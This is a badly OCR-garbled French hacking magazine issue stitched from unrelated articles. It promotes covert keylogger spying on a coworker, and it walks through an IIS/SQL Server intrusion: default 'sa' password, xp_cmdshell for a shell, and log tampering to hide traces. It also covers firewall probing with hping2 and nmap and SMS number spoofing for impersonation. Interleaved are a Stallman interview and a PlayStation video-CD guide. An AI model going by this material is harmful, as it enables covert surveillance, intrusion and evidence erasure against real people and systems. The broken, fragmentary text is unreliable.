t-apens pour piéger le “curieux" et analyserons Windows Keylogger 5.04, R — — L K
sssir ainsi 4 le prendre la main dans le sac. | Soki
) ¢

Dans cette fenétre, vous pourez para-
metrer les horaires de lancement et de

‘flermeture du programme, voire de son
auto destruction”

la
derniére version. Ce logiciel est probablement ce
bri qui se fait de plus complet sur le marché en ce | B
i
mps et ce moment e

I Loglle backdabrg

Dans la 3® étape de configuration du

logiciel, vous configurez les options d'envoi
16 | uncxmania | wwen 2002 par email du fichier log,




Prenez le et confondez le la main dans le sac !

cree
etle

fiche alors, sera
ing phases de la
paramétrage

a récuperer un
ma il est
nécessaire gue le programme
démarre de maniére automatique
dés la mise en marche de
Fordinateur. Ensuite il faut établir

empla ol le fichier log
gardé. Une des options les
santes que |'on peut activer si
-éaliser des captures d'écran.
1atiqguement jointes au

mum . d'informations,

A gauc
aussitd

* Pk

g vy D O o s

! le cas
I Operation
en Hocument
d'auto-
programme pourra méme
disparaitre comme par magie a une date fixée.

tivant V'option

struction, le

>> Voir le résultat

y SdCro HHEES Vdldlee

i mais votre ordinateur 17
rci de n'importe qui

i Keylogger pourra vou

app[‘ﬂﬂf“lé :

e i,
'Zdo;ﬂt:-:_hg‘,m'.ll‘:ﬁfdtﬁo:-f =

he, le fichier probleme,

t clair et lisible et vous VOYE

faites sur voure PC.

aider grace a une manipulation
programmable au cours de la troisiéme fenétre
de configuration : I'envoi par email du fichier
log. Vous pouvez en effet décider de recevoir
ou pas le fichier a une heure déterminée ou
bien alors quand il aura atteint
une taille pré

établie.

Partez I'esprit

libéré de ces

problémes-la

et vV

qui MENE

us verrez

plongé dans les
eaux tropicales,
VOus aurez
toujours la
possibilité de...
surveiller en
toute discretion
votre PC !
Une fois le fichier
log creee,
comment le voir 7 Vous n'espériez tout de
méme pas qu'il allait s'agir d'un simple fichier
Axt sur lequel il suffisait de double-cliquer pour
I'ouvrir 7 Comme tout programme sérieux qui
e respecte, Keylogger dispose d'une fonction
de cryptage des fichiers de sortie qui peut étre
configuree via une option spécifique lors de la
configuration du programme.
Une fois ouvert, le fichier log vous affiche un lot

present, |
effectuée

E. fichier vous indique
Sauvegarde gd'yn
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: .crypté par e programme
on "brut’ non décrypLe P & fichier devient

' En utilisant Keyloggen p;u:pg‘;ram‘e les différentes acti

d'informations quasi infinies sur
|'utilisation qui est faite de votre PC ; le
tout accompagné de captures d'écran |’
prises & intervalle régulier. Que se soit la
sauvagarde ou le déplacements de fichiers
jusqu'au moindre effleurement de
touches du clavier, tout est enregistré. A
ce niveau-13, il ne tient qu'a vous d'inviter
votre cher collégue a diner et de le faire
blémir en lui montrant la preuve de sa
“curiosité"...en complément, bien siir, de
I'addition.... :-)
Mais il doit bien y avoir un probléme
quelque part ? Effectivement, il faut
bien admettre que sur Internet, il est
facile de dénicher des anti- Keyloggers. Ce sont
des programmes qui scannérisent le micro et
qui débusquent nos "alliés" espions. Au jour
d'aujourd’hui, nous avons la cha qu'il e
existe encore pe Nindows
ceux Ci ne réussissen !
Keyloggers en action. Dans
évolutior
Palladiun |
fonctionnen

de cette po nquillement, en

exploitant gr 1ent ce petit "agent secret"

personnel.

www.anti-keyloggers.com







MID HACKING

Maintenant, il utilisera L'Entreprise

Manager pour faire un nouvel

earegistrement, en spécifiant comme
nom l'adresse 1P de la victime, et comme nom
d'utilisateur et mot de passe ceux qu'il aura
trouvé dans le lien de connexion.

Si le lien contient l'usager " sa " oy, si

une fois verifiés les privileges de 'usager

repéré, il découvrira que celui-ci
appartient au groupe des bases de données
administrateurs, le hacker aura la vie facile et
pourra passer tout de suite au point suivant.
Dans le cas contraire, il fera de petites
tentatives en vue d'individualiser le mot de
passe de I'usager " sa ", en utilisant un mot de
passe vide ol un de ceux peu communs

Maintenant, en utilisant toujours

ﬁ I'Entreprise manage; il se rendra dans la

base de données principale, il ouvrira le

*tool sgl query analyzer' (instrument sql

d'analyse et recherche) et arrivera a voir le

contenu de c:en tapant xmdcmdshell'dir c:\. S'il

| ade lachance, il aura a sa disposition un "shell"

| sur le systéme avec priviléges d'administrateur,
et pourra faire tout ce qu'il veut.

déja dramatique, peut

ie, dans la mesure ol le

copiera dans une page temporaire. A la suite, il
effacera la page du log et donnera a la page
temporaire le nom de la page du log effacé. II

pourra aussi modifier les attributs de la date de

création et de la modification de la page du log,
de sorte qu'il ne laisse aucune trace de toutes ces
manipulations.

Habituellement, le fait que la page du log soit
ouverte en exclusivité par IIS n'intimide pas
I'intrus: cela ne ferait rien d'autre qu'arréter I1S
avec les commandes MS-DOS, modifier les pages
et faire repartir 11S avant que I'administrateur ne
puisse entrevoir quoi que ce soit.

>> Comment se défendre.

Cette attaque est plus dangereuse que celles
tentées avec nc ou qui arrivent apres
I'installation d'un troyen, parce-qu'elles
n‘altérent en aucun cas le systéme et elles ne
laissent aucune trace : ne seront pas exécutés de
processus étranges, ni de nouvelles clés d'un
nouveau registre, ne seront pas non plus utilisées
de ports de type 31004, ce qui frappe les yeux.

SQL Serveur sera commandé d'une porte
parfaitement réguliére.

2N POSsession
‘autres systemes
(email, feuilles
il est préférable
Web serveur le dil gratuit "
va coder le mot de passe avec un
ersible (MD5). A ce moment-1a,
le d'acces s'effectuera en confrontant
(Bel

s liens codés et non en clair:

Il en résulte que, si un usager devait oublier
un mot de passe, le systéme aurait a en générer
wwtomatiquement un nouveau, en rendant
impossible |'acces au mot de passe codé.
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# LEFlE *

COMMENT EVITER
LES ERREURS.

Le Webmaster de cet
exemple a été vraiment
une poule mouillée ; pour éviter
des erreurs plus graves, il faut
avant tout consulter la section
relative aux mises a jour de
gécurité du site du producteur du
serveur (dans ce cas,
www.microsoft.com/technet).
La deuxiéme erreur grave, était
celle de n'avoir pas modifié le
mot de passe prédéfini de
l'usager " sa " de SQL Serveur.
Une liste de tous les pas a
faire pour rendre sir SQL Serveur
se trouve sur le site
www.sqglsecurity.com/checklist.asp
Enfin, il a introduit le lien de
onnexion a la base de données
(qui contient le mot de passe
'accés) directement dans les
pages Asp, au lieu d'utiliser un
DSN du systéme, méthode plus siire
et conseillée. Autres infos sur
www . powerasp.com/content /database/
dsnvsdsnless.asp







Il revet
8] L.g\':\\ E“\ i{‘
la somme du

1 longueur \j u

facon,

hping2 -p B0 -5 www.yahoo.it

ING www.yahoo.it (eth0
217,12.3.11): S set, 40 headers + 0
data bytes len=46 ip=217.12.3.11

ags=SA DF seq=0 ttl=51 id=19912

=65535 [...] len=46 ip=217.12.3.11
lags=SA DF seg=l ttl=51 id=56715

=16384 [...] len=46 ip=217.12.3.11

gs=SA DF seg=2 ttl=51 id=41115

Le serveur web est en écoute sur le port 8O et
il répond promptement a une requéte de

connexion (flag SYN=1] avec un pogquet |

SYN/ACK, fout s'est passé comme prévu.

Maintenant essayons d'envoyer un |

paquet seulement avec le flag ACK actif, ce

que nous nous attendons, conformément au |
méme fableau, c'est de recevoir un signal |

RST:
Rl

1INS messages
peuvent fournir ‘f‘ ]
 'ésard das
reseau qui a

Une fet |‘\.|<|m~ tres

| commune

ufilisée  pour récolter des
informations est basée justement sur la
création de paquels expressément étudiés

| pour générer un message d'erreur ICMP de la

part de I'héte destinataire du poaquet. En
procédant aux analyses des ACL il va nous
arriver de rencontrer un ICMP de type 3 code
13 qui signalent la présence d'un filire posté
par I'administrateur.

| Drop fo : de I'anglais " to drop ",
| signifie litéralement laisser tomber,

m | s'utilise pour indiquer une requéte
| qui est ignorée.

Chaque fois quand nous obfiendrons & un

| essai donné, un ICMP de ce type non seulement
| nous serons au courant de la présence d'un
| firewall, mais nous allons en connailre I'adresse
[ IP. ce qui représente un grand ovcmoge ofin de
‘ lin

déterminer le responsable direct du filirage du
frafic illicite. Hping2 reléve et signale la |
présence d'un fillre administrafif de cefte fagon:

2UX  moyens qui |
‘

d'un message
h S TEET A |
part d'un systeme éloigné,







nfirmé tout comme le IP. Quoique les
protoc oles

caractéristiques communes. De méme que les

données UDP pour le IP, une fois arrivées &
desfination correctement, ne générent aucune
confrontation. Malgré cela, une éventuelle
erreur dans lo communication sera tout de
suife signalée par un message ICMP
specifique.

En utilisant le protocole UDP, un usager
malintentionné est ainsi capable en ['ufilisant
de relever la présence (ou |'absence] d'un
agent fillrant sur son propre chemin, seulement
a la base de simples déductions. Grace aux

simples confrontations dérivées des messages |
iCMP Port Unreaahublﬂ il est possible de |

ver les ports en état " close " sur le ?s‘emp
2 ,Jcnmrl que 'as ports au balayage
ls i > réponse ’wuucnf

( seront utilisés dans des buts |
complétement différents, ils ont quelques |

Port State Service
256/tcp open rap
257/tcp open set

Nmap run completed -- 1 IP address
(1 host up) scanned in 0 seconds
(1l'hostname & stato cambiato con
localhost per correttezza)

Une fois identifié le firewall, il est possible
d'exploiter quelques unes de ses vulnérabilités
associées pour confourner paisiblement les
profections et obtenir quantité d'accés aux
systémes du réseau inferne. Retrouvez sur la
page du producleur du logiciel qui met en
évidence les locunes les plus souvent
‘ rencontrées

|
|
E
F

En particulier, les versions 3.0 et 4.0 ne
| filirent pas le trafic admis sur le port 53 (TCP |
pT UDP) ofin de permefire des requéles au |
DNS et fra ansferts de zone.
e poliique perm ct a un usager

L] uf"e

nnexion

0 deur un

t SYN/ACK avec un cookle

A
e pour ferr

mer le handshake &
premier host doit
envoyer un ACK qui comprenne le
okie précédemment recu. Celuici permet
ner la queve SYN_RECEIVED et de
continuer a geérer les requétes légitimes en
conjurant chaque tentative de négation du

service

trois
iroIs voiles

Par contre, nous avons pu rencontrer une
‘
| vulnérabilité qui peut permetire de contourner







Voulez-vous envoyer des SMS avec un faux numeéro,
pour protéger votre anonymat ? Ou voulez vous
carrement vous faire passer pour une autre

personne ? Ca peut se faire... grace a Text2gsm !

2. Maintenant passons & la partie
, celle qui consiste a insérer le
faux numéro :

S T (O T O
O/ [e—
DLl .

Service, avec les sous-menus :
1) Infos service ( Informations
Info hardware, SIMlock,

Access au menu technique
avec les sous-menus :
1)Traces ( Network / RXLEV /
BEIE Y el c2)
2)SwOff codes
3)Empty SwOff
4)Charge ctrl
5)Checker

; HHHTES XX
2 Access au Menu
L lock (il faut
remplacer XX
avec les
valeurs :
02,07, 08
ou 78).
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une

rrorisme,
commencé“d
citoyens.
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scandale : cette
la police puisse
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n‘est.pas la solution@ptimale, pendant.
que ~nousyde-sla~Free Software
Foundation o nous, -@is6ns gques e
software. commercialmEprésentetie

mar. lout compte fait,_il y asauands

méme UNECErtATNE affinité entre les
deux Cotrrantsw=etmles*différences ne
franohissent nas el %.desqpositiorns.

(Que Penservous e et Mty Zan

Jesuis électrisé par I'enthqusiasme.des.

participants.™ Spécfalement par
I'enthousiasme pour les aspects plus
politiques de la question.
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gﬁi est rms ?

Richard Stallman, ou RMS comme on l'appelle
souvent, est né en 1953 a Mahattan. Lauréat en
1974 a Har ,t.wj, pendant

[

staff du laboratoire d'Intel

sa vie académique
fait partie du igence
artificielle de MIT, en travaillant pour e
développement des systémes opératoires. En
1975 il a écrit le programme Emacs

éditeur de texte pour Unix. En 1984
I'université pour fonder le pro

l'objectif de développer le

GNU (Gnu is Not Unix)

Linux est une variante (et en

I'appeler toujours GNU/Linux, e

Linux, qui est seulement le nom du

dela du développement et de la d

§ software libre, Richard est dans la pri

aux Etats Unis et dans le monde entier,
spécialement ceux relatifs a la liberté
d'expression de la pensée et du copyright. Comme
d'habitude, a la fin de son entrevue, RMS a
endossé une tunique et une auréole réalisée d'un
disque pour ordinateur de 8 " pour représenter la
Saint IGNUtio, et a demandé au public de faire la
profession de foi de I'église des Emacs : " Je
n'aurais un autre 0S en dehors de GNU, et Linux
est |'un de ses kernel “.

% La FSF a besoin de toi
En dehors de récolter des
donations qui lui
permettent de mener en
avant son activité, la Free
Software Foundation a |
besoin des volontaires qui
contribuent a ses projets.
Particuliérement, seront utiles des personnes
qui pourront tenir & jour le directory du
software [ibre (www.gnu.org/directory),
en |ui dédiant quelques heures par semaine.
Les informations pour y participer se trouvent
sur www.gnu.org/help/directory.html




vaulez faire voir.a un ami e fHilm de vos vacances ou une
u§é

lechargee-sur Internet, mais celui-ci ne disp fni d’un

peut étre visionne par _n'ithporte guelle Playstation.
/

buildcd.exe Programme DOS pour créer ce document).

une "pré-image" de ( artir d'un fichier .CTI config.dat

stripiso.exe Progr DOS  pour system.cnf

convertir le fichier créé par BuildCD au psx.exe
b IX it 1SO Ce sont les fichiers systéme du CD.
un CD Vidéo hitlice.exe Programme DOS qui ajuste

aussi sur un PC que sur un image obtenue pour I'acheminer vers la
¢ sa télévision appareil al ystation. Le logiciel Videoq_zip‘ qui se
) harge a |'adresse indiquée dans l'encadré
page suivante, en plus de contenir les
programm té contient les fichiers

uivant aussi bien pour les ficl
2352.DAT Fichi ontenant des donnée contient, que pour la fac

vous allez plSO " po ermettre au CD d'étre lu par - Les fichiers
réer un CD Vidéo visionnable sur I itior Par défaut

on dont il

onsole Psx de Sony grabba.cti
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MID HACKING

Remarquer le "mot clef"
XASource qui précéde
le nom du fichier, suivi
par le chemin sur le CD
menant au fichier. Ce
"mot clef" sert a
préciser que le fichier est au format XA, c'est &

plus tard. Dans le CD
Wpique" pour la
Playstation on trouve
généralement le  fichier
config.dat.

Le fichier doit avoir une
structure différente selon

que la Playstation fonctionne avec le systéme dire qu'il a une longueur multiple de 2048
PAL (européen) ou NTSC (américain). octets ; s'il ne I'a pas, le programme BuildCD
Dans le logiciel Video4.zip il y a deux fichiers lancera un ‘"warning" c'est a dire ‘un
exécutables, Psxntsc.exe e Psxpal.exe : il faut avertissement. Une fois la "pré-image” créée, il
renommer le fichier souhaité "Psx.exe". Dans est nécessaire de "|'ajuster" avec les données
feux cas, il s'agit d'un simple programme qui relatives au format sur lequel fonctionnera le
visualise un fond (personnalisable) sur lequel on CD : européen, américain ou japonais ; selon les
«it guatre icdnes (personnalisables): en cas, sera joint a la pré-image un dossier
sélectionnant 'une d'entre elles, on pourra différent. Dans notre cas, avec cette ligne de
voir le film joint a celle ci. commande :
- L'image IS0 stripiso 2352 video.img video.iso
Utifiser un programme “traditionnel" (comme
Easy CD Creator, fourni avec beaucoup de suivi de

graveurs) n'est pas suffisant pour créer un CD
‘ Playstation, parce qu'il doit avoir un COPY /B 2352.DAT+VIDEO.ISO CD.ISO
format trés spécial. Il faut utiliser les

grammes listés précédemment, dans le A ce moment, il ne reste plus qu'a faire
raphe "Requis” (ou d'autres programmes "habiliter" I'image, pour qu'elle puisse &tre
ts, que I'on peut trouver dans des sites visualisée * sur la Playstation, avec le
programme Hitlice.exe. Une fois lancé, il faut
préciser le nom complet du fichier " . 1S0 " &
"installer". Aprés quoi, I'image est préte pour An(G
étre écrite sur CD... mais pas avec n'importe 7

quel programme du type Easy CD Creator; il SioNne
faut un logiciel spécial comme BlindWrite ou
quelque chose d'analogue. Dans le logiciel on
2z qu'il commence et finit par des codes peut aussi trouver un fichier ".cue" qui sera
pligués; ce qui nous intéresse plutdt est utilisé pour réaliser le CD. Contrairement a ce

vartie centrale qui décrit la structure des | | qui est expliqué par certains manuels présents
épertoires du CD. Celle ¢i est délimitée par les | | sur-Internet, ce fichier n'est pas créé par les
"Hierarchy" et "EndHierarchy". A | programmes renfermés dans le logiciel

r, OIS jons trouver divers "modules”, | Video4.zip, donc attention a ne pas |'effacer

ier et pour chaque répertoire;
sont délimités par "File |
if] Endfile", tandis que les |

Jirectory [nomdurépertoire]” et
Directory”. Voici un exemple de structure

quand vous décidez d'effacer les images crées,
pour regagner de |'espace sur le disque dur !

>> Comment opérer

Avec ce systeme il est possible de voir que
des films au format STR (méme si en théorie
on pourrait écrire un programme pour la
Playstation qui lise le format AVI), pour lequel
vous devrez convertir vos films dans ce format;
s'il s'agit de fichiers AV1, vous pouvez utiliser le
programme MovieConverter. Un point qu'il
convient de retenir c'est que le format audio
du fichier AVI doit étre de 44.100KHz, 16
hit, stéréo, et non compressé. La vidéo peut

Hierarchy
Directory .
File file
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Flaystation.
1 utilisant Movie
version, dans les
t nécessawre de
" celle du son
choisir un “frame
gefilerent d'images a la seconde)

manuels il est

quence de 15ps; cela |

arantis" mais d'une

le dossier |

1 repertoire (par exemple,

s besoin d

ill. interfree. it/console/ |

liers Bmp au format Tim
MovieConverter
o2 o Zip)
films Avi au format Str;

//mikill.interfree. it/console/

r les films au format Str;

possible d'utiliser d'autres ‘

i sont capables de faire les
mais nous vous conseillons ceux

ns indiqués.

nc tous les fichiers dans le

itilisé auparavant, par facilité. |

irez-vous de bien disposer des
ers AV qui vous intéressent, et qu'ils
in son non compressé (PCM,

z, 16bit, stéréo, c'est a dire d'une |
et au format 320x240; lancez |
rtissez les, un par un. |

utilisant |
onvertir, dans les |
| faut "cocher” lacase |

ravant, en

1 {qui doit donc étre |
frame rate (taux |
|

nages a la seconde, |

B ' v
uild CO erégg limage dy disque

certains autres |

(http://mikill.interfree.it/ |

| L'éxécution
| demander beaucoup de temps d'autant plus si

| l'image 1S0 obtenue pour la console, pour la
| Playstation; attention si vous utilisez des
| émulateurs de playstation tels que Epsx
| (www.epsxe.com) ou Pcsx (www.pcsx.net),

Le programme et
fichier Avi at e

fps) a 25. Une fois
la conversion terminée, renommer les quatre

| dossiers obtenus 1.str 2.str, 3.str et 4.str; créer
| un répertoire nommé "Video" a I'intérieur du
| i . A 4 |
| répertoire ol vous avez décompressé les

fichiers zip, mettez-y a l'intérieur les quatre |

| fichiers .St

| Arrivé la, lancez a la suite les fichiers
| "Grabba.bat", "Grabba2.bat" et "Pondat.bat",

| ou bien créer un fichier ".bat" qui contienne ces |
| trois lignes:

buildcd -ivideo.img grabba.cti

| stripiso 2352 video.img video.iso

COPY /B 2352.DAT+VIDEO.ISO CD.ISO

des programmes pourrait |

les vidéos sont trés longues; malheureusement il

| n'y a que " BuildCD " qui montre I'état
| d'avancement en pourcentage, les autres
| semblant "se bloquer": en réalité, vous devez
| seulement patienter; pour avoir une idée du |
temps vous devrez attendre, tenez compte du |

temps que prend BuildCD pour terminer bien

| s, mais aussi de ['éxécution de Stripiso et, |

pour finir la copie du fichier obtenu. Il faudra un
certain temps....

Une fois les trois lignes de commande du |
fichier éxécutées, vous devrez rendre "lisible"

I'image fonctionnera méme sans

Bem utiliser Hitlice, mais dans le cas d'une |

Playstation, il vous le faudra.

A ce point, prenez votre programme de |
gravure de CD, en évitant (nous préférons le |
rappeler) que ce soit Easy CD Creator car il |
n'est pas compatible, et placez I'image sur un
CD. Attention la PSX ne peut pas lire les CD |
reinscriptibles (CD-RW), mais que des
enregistrables (CD-R), Pour ne pas gaspiller

CD |
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inutilement des CD, il est conseillé d'essayer
l'image auparavant en le testant sur
'ordinateur grace a un des deux
émulateurs de PSX cités ci-dessus.
Toutefols avant de pouvoir les utiliser il vous
faudra probablement installer certains plug-in
pour qu'ils soient parfaitement compatibles
(avec la carte graphique, la carte son, le lecteur
de CD-ROM, etc.) Ainsi dans le casde PCSX,
vous devrez utiliser un plug=in qui simule le CD
par l'intermédiaire d'un fichier au format 1SO0.
Un plug-in a télécharger a l'adresse suivante:

| http:/mooby.psxfanatics.com/

cdrmooby201win.zip

Avec Epsx, par contre, la simulation de CD se fait

en série. Laissez-vous guider par les instructions
données sur les sites respectifs des émulateurs.

Si vous avez tout fait comme il faut, en lancant
I'émulateur, I'image apparaitra sans probléme

| sur I'écran. Vous pouvez alors choisir une des
| quatre icones (les touches & utiliser dépendent
| de la maniére dont vous aurez configuré le
| logiciel), et vous verrez comme par magie

| apparaitre

sur l'écran de la
(émulateur sur

le film
Playstation... virtuel

| ordinateur) ou réel (console) peu importe!

Tel qu'il est, le programme de visualisation des

| vidéos est trés anonyme, mais il n'y a pas de

| probléme, le graphisme est complétement

personnalisable: le fond d'écran est renfermé

dans le fichier "Albums.tim" du répertoire |

"Resource”, et les icones sont dans le répertoire

“Icons". Convertissez les en fichiers image |
| "Bmp" en utilisant "Timultil", modifiez les

comme vous le souhaitez, Reconvertissez les en

| fichiers "Tim" (obligatoirement & 16 bits!), et
| recommencez a zéro la procédure de création |

de I'image.
Bon film !







® Keyloguer

Tour d'horizon de ces utilitaires permettant en toute
discrétion de capturer tout ce gui est tapé sur un
clavier et de faire des captures d'écran a distance...

Q _lJJ f_lJ\J_N JJ_U

Et si vous faisiez une petite scéance ciné dans votre salon
avec votre console préférée ?

' : —
( ,\' ; r i [ i v o o r iy [
@ intermet menace !
Le plus discrétement du monde, sans que personne ou presgue, ne vous le dise, Internet
a subi une attague massive gui a bien failli le faire tomber. Les dessous de I'affaire...

L e

Q f J j |J = Comprendre comment ils fonctionnent, leur mode de diffusion,
etc. Premiére partie d'une série d'articles sur les virus..

7~ \ — . F,—' " N . |+
@ Jicrosoit IIS Serveur -

Chronique d'une attague sur le serveur de Microsoft...

Jjj

n& SMS gratuits ?




